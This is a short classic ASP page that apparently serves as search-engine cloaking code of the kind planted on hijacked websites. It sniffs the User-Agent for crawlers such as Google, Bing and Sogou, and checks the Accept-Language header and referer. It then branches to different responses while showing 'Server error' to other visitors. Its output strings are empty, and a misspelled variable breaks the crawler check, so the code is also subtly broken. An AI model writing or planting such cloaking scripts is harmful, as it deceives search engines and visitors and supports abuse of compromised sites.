<% lailu=Request.ServerVariables("HTTP_REFERER") lang=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") zhizhu=Request.ServerVariables("HTTP_USER_AGENT") lang=LCase(Mid(lang,1,4)) zhizhu=LCase(zhizu) 'response.write lang zt="0" if instr(zhizhu,"aol") or instr(zhizhu,"google") or instr(zhizhu,"soso") or instr(zhizhu,"bing") or instr(zhizhu,"sogou") or instr(zhizhu,"360") then zt="1" elseif instr(lang,"de") or instr(lang,"zh") or instr(lang,"en") or instr(lang,"fr") or instr(lang,"el") or instr(lang,"da") or instr(lang,"nl") or instr(lang,"ko") or instr(lang,"jp") or instr(lang,"es") or instr(lang,"nb-no") or instr(lang,"pl") or instr(lang,"ru") or instr(lang,"sv") or instr(lang,"pt") then zt="2" elseif lailu<>"" then zt="3" else zt="4" end if 'response.write zt if zt="1" or zt="2" then response.write "" response.end else if zt="3" then response.write "" response.end end if end if %> Server error